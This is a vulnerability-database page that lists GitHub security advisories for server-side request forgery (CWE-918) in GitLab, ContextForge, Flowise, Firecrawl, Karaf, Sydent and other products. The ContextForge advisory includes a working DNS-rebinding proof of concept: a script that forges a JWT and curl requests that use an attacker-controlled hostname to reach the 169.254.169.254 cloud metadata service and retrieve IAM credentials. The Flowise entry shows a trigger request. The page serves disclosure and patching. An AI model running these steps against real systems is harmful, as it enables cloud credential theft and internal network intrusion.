Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6053 vulnerabilities reference this CWE, most recent first.

GHSA-9HCX-GVX4-R4RP

Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-12 00:00
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 12.1 before 14.7.7, all versions starting from 14.8 before 14.8.5, all versions starting from 14.9 before 14.9.2 where a blind SSRF attack through the repository mirroring feature was possible.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-04T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 12.1 before 14.7.7, all versions starting from 14.8 before 14.8.5, all versions starting from 14.9 before 14.9.2 where a blind SSRF attack through the repository mirroring feature was possible.",
  "id": "GHSA-9hcx-gvx4-r4rp",
  "modified": "2022-04-12T00:00:49Z",
  "published": "2022-04-05T00:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1188"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1486659"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-1188.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/354059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9HGC-G3W5-67CM

Vulnerability from github – Published: 2026-08-14 19:49 – Updated: 2026-08-14 19:49
VLAI
Summary
ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)
Details

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

  • The validated IP address is never passed to the HTTP client.
  • Only the original hostname is forwarded, triggering a second independent lookup.
  • No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

  1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
  2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")
TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

  1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
  2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
  3. Submit the request:
curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'
  1. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
  2. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
  3. httpx independently re-resolves the hostname and connects to 169.254.169.254.
  4. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-contextforge-gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-14T19:49:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527\u20131710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n  implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** \u2014 `mcpgateway/common/validators.py`, lines 1537\u20131543 (function docstring of `validate_gateway_test_url`):\n\n\u003e \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n\u003e the HTTP client will re-resolve DNS at connection time. An attacker controlling\n\u003e DNS can return a public IP during validation and a private IP during connection\n\u003e (DNS rebinding). True mitigation requires pinning the validated IP into the\n\u003e connection (custom resolver/transport, or IP allowlist check at connect\n\u003e callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** \u2014 `mcpgateway/admin.py`, lines 14025\u201314029 (call site comment):\n\n\u003e \"TODO(ICACF-15): DNS rebinding risk \u2014 allowlist and SSRF checks resolve DNS,\n\u003e but the actual ResilientHttpClient request resolves DNS a third time. An\n\u003e attacker-controlled DNS server could return a public IP during validation and a\n\u003e private IP during the actual request. Consider pinning the resolved IP for\n\u003e outbound requests (custom transport) or caching DNS resolution across\n\u003e validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n   enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n   assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) \u2014 a virtual identity with no database record \u2014 is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 \u0026\nsleep 5\n```\n\n### Step 1 \u2014 Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL  = \"admin@example.com\"   # must have platform_admin role in DB\nnow    = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n    \"sub\": EMAIL,\n    \"aud\": \"mcpgateway-api\",\n    \"iss\": \"mcpgateway\",\n    \"jti\": str(uuid.uuid4()),\n    \"iat\": now,\n    \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 \u2014 Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}\u0027\n# Expected: HTTP 400 \u2014 \"Invalid gateway URL\"\n```\n\n### Step 3 \u2014 DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com \u2192 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}\u0027\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com \u2192 1.2.3.4`;\n   all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n   `attacker.example.com \u2192 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n   `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.",
  "id": "GHSA-9hgc-g3w5-67cm",
  "modified": "2026-08-14T19:49:14Z",
  "published": "2026-08-14T19:49:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/IBM/mcp-context-forge"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)"
}

GHSA-9HP9-487W-FFQM

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2025-05-30 18:30
VLAI
Details

Zoho ManageEngine ServiceDesk Plus MSP before 10521 is vulnerable to Server-Side Request Forgery (SSRF).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-29T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Zoho ManageEngine ServiceDesk Plus MSP before 10521 is vulnerable to Server-Side Request Forgery (SSRF).",
  "id": "GHSA-9hp9-487w-ffqm",
  "modified": "2025-05-30T18:30:40Z",
  "published": "2022-05-24T19:06:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31531"
    },
    {
      "type": "WEB",
      "url": "https://cds.thalesgroup.com/en/tcs-cert/CVE-2021-31531"
    },
    {
      "type": "WEB",
      "url": "https://excellium-services.com/cert-xlm-advisory/cve-2021-31531"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/service-desk-msp/readme.html#10521"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9HPJ-QHWV-CW2Q

Vulnerability from github – Published: 2023-08-01 15:30 – Updated: 2024-04-04 06:28
VLAI
Details

rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-01T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.",
  "id": "GHSA-9hpj-qhwv-cw2q",
  "modified": "2024-04-04T06:28:20Z",
  "published": "2023-08-01T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_%20ajaxGetFileByPath.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9HRV-GVRV-6GF2

Vulnerability from github – Published: 2026-04-16 21:23 – Updated: 2026-09-23 21:24
VLAI
Summary
Flowise Execute Flow function has an SSRF vulnerability
Details

Summary

The attacker provides an intranet address through the base url field configured in the Execute Flow node → Bypass checkDenyList / resolveAndValidate in httpSecurity.ts (not called) → Causes the server to initiate an HTTP request to any internal network address, read cloud metadata, or detect internal network services

Details

9a52a74e6fe2fd78e4962d1d68057fc2

Then initiate the call:

POST /api/v1/prediction/d6739838-d3b3-43d9-86ff-911a3d757a7e HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

Server received a request:

f45c757fec408e13739db068252ff21b

And there is an echo:

fa0caf0deb306cfeeea8fdf8941a287e

Fix: Call secureFetch for verification

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability that may lead to the following risks: - Explore Internal Web Applications - Access sensitive management interfaces - Leak internal configuration, credentials, or confidential information

This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in enterprise environments.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:23:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe attacker provides an intranet address through the base url field configured in the Execute Flow node \n\u2192 Bypass checkDenyList / resolveAndValidate in httpSecurity.ts (not called)\n\u2192 Causes the server to initiate an HTTP request to any internal network address, read cloud metadata, or detect internal network services \n\n### Details\n\n\u003cimg width=\"1280\" height=\"860\" alt=\"9a52a74e6fe2fd78e4962d1d68057fc2\" src=\"https://github.com/user-attachments/assets/20df0006-9129-4886-8928-16d19a617c23\" /\u003e\n\nThen initiate the call: \n\n```\nPOST /api/v1/prediction/d6739838-d3b3-43d9-86ff-911a3d757a7e HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\nServer received a request:\n\n\u003cimg width=\"1432\" height=\"172\" alt=\"f45c757fec408e13739db068252ff21b\" src=\"https://github.com/user-attachments/assets/d3dfe0f5-83ec-4c79-ab32-754382a68d5f\" /\u003e\n\nAnd there is an echo: \n\n\u003cimg width=\"1280\" height=\"666\" alt=\"fa0caf0deb306cfeeea8fdf8941a287e\" src=\"https://github.com/user-attachments/assets/55a94d25-120b-4e9c-9517-46c2fc2b667f\" /\u003e\n\nFix:\nCall secureFetch for verification\n\n\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability that may lead to the following risks: \n- Explore Internal Web Applications\n- Access sensitive management interfaces\n- Leak internal configuration, credentials, or confidential information\n\nThis vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in enterprise environments.",
  "id": "GHSA-9hrv-gvrv-6gf2",
  "modified": "2026-09-23T21:24:56Z",
  "published": "2026-04-16T21:23:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9hrv-gvrv-6gf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56275"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-server-side-request-forgery-via-execute-flow-base-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise Execute Flow function has an SSRF vulnerability"
}

GHSA-9J9R-WGHQ-J565

Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-03-27 18:31
VLAI
Details

Firecrawl version 2.8.0 and prior contain a server-side request forgery (SSRF) protection bypass vulnerability in the Playwright scraping service where network policy validation is applied only to the initial user-supplied URL and not to subsequent redirect destinations. Attackers can supply an externally valid URL that passes validation and returns an HTTP redirect to an internal or restricted resource, allowing the browser to follow the redirect and fetch the final destination without revalidation, thereby gaining access to internal network services and sensitive endpoints. This issue is distinct from CVE-2024-56800, which describes redirect-based SSRF generally. This vulnerability specifically arises from a post-redirect enforcement gap in implemented SSRF protections, where validation is applied only to the initial request and not to the final redirected destination.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-32857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-26T18:16:28Z",
    "severity": "HIGH"
  },
  "details": "Firecrawl version 2.8.0 and prior contain a server-side request forgery (SSRF) protection bypass vulnerability in the Playwright scraping service where network policy validation is applied only to the initial user-supplied URL and not to subsequent redirect destinations. Attackers can supply an externally valid URL that passes validation and returns an HTTP redirect to an internal or restricted resource, allowing the browser to follow the redirect and fetch the final destination without revalidation, thereby gaining access to internal network services and sensitive endpoints.\u00a0This issue is distinct from CVE-2024-56800, which describes redirect-based SSRF generally. This vulnerability specifically arises from a post-redirect enforcement gap in implemented SSRF protections, where validation is applied only to the initial request and not to the final redirected destination.",
  "id": "GHSA-9j9r-wghq-j565",
  "modified": "2026-03-27T18:31:25Z",
  "published": "2026-03-26T18:31:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32857"
    },
    {
      "type": "WEB",
      "url": "https://www.firecrawl.dev"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/firecrawl-playwright-service-ssrf-protection-bypass-via-missing-post-redirect-validation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9JG9-6WM2-X7P5

Vulnerability from github – Published: 2022-02-10 23:04 – Updated: 2021-05-13 15:36
VLAI
Summary
Server-Side Request Forgery in Karaf
Details

In Karaf, JMX authentication takes place using JAAS and authorization takes place using ACL files. By default, only an "admin" can actually invoke on an MBean. However there is a vulnerability there for someone who is not an admin, but has a "viewer" role. In the 'etc/jmx.acl.cfg', such as role can call get*. It's possible to authenticate as a viewer role + invokes on the MLet getMBeansFromURL method, which goes off to a remote server to fetch the desired MBean, which is then registered in Karaf. At this point the attack fails as "viewer" doesn't have the permission to invoke on the MBean. Still, it could act as a SSRF style attack and also it essentially allows a "viewer" role to pollute the MBean registry, which is a kind of privilege escalation. The vulnerability is low as it's possible to add a ACL to limit access. Users should update to Apache Karaf 4.2.9 or newer.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.karaf.management:org.apache.karaf.management.server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-13T15:36:05Z",
    "nvd_published_at": "2020-06-12T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Karaf, JMX authentication takes place using JAAS and authorization takes place using ACL files. By default, only an \"admin\" can actually invoke on an MBean. However there is a vulnerability there for someone who is not an admin, but has a \"viewer\" role. In the \u0027etc/jmx.acl.cfg\u0027, such as role can call get*. It\u0027s possible to authenticate as a viewer role + invokes on the MLet getMBeansFromURL method, which goes off to a remote server to fetch the desired MBean, which is then registered in Karaf. At this point the attack fails as \"viewer\" doesn\u0027t have the permission to invoke on the MBean. Still, it could act as a SSRF style attack and also it essentially allows a \"viewer\" role to pollute the MBean registry, which is a kind of privilege escalation. The vulnerability is low as it\u0027s possible to add a ACL to limit access. Users should update to Apache Karaf 4.2.9 or newer.",
  "id": "GHSA-9jg9-6wm2-x7p5",
  "modified": "2021-05-13T15:36:05Z",
  "published": "2022-02-10T23:04:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/karaf/commit/3e4c4bed2d08e81ca5961ab5fcadab23470db1c9"
    },
    {
      "type": "WEB",
      "url": "http://karaf.apache.org/security/cve-2020-11980.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in Karaf"
}

GHSA-9JHM-8M8C-C3F4

Vulnerability from github – Published: 2021-04-19 14:54 – Updated: 2024-09-30 20:40
VLAI
Summary
SSRF in Sydent due to missing validation of hostnames
Details

Impact

Sydent can be induced to send HTTP GET requests to internal systems, due to lack of parameter validation or IP address blacklisting.

It is not possible to exfiltrate data or control request headers, but it might be possible to use the attack to perform an internal port enumeration.

Patches

Fixed in 9e57334, 8936925, 3d531ed, 0f00412

Workarounds

A potential workaround would be to use a firewall to ensure that Sydent cannot reach internal HTTP resources.

For more information

If you have any questions or comments about this advisory, email us at security@matrix.org.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "matrix-sydent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-15T21:00:29Z",
    "nvd_published_at": "2021-04-15T21:15:00Z",
    "severity": "MODERATE"
  },
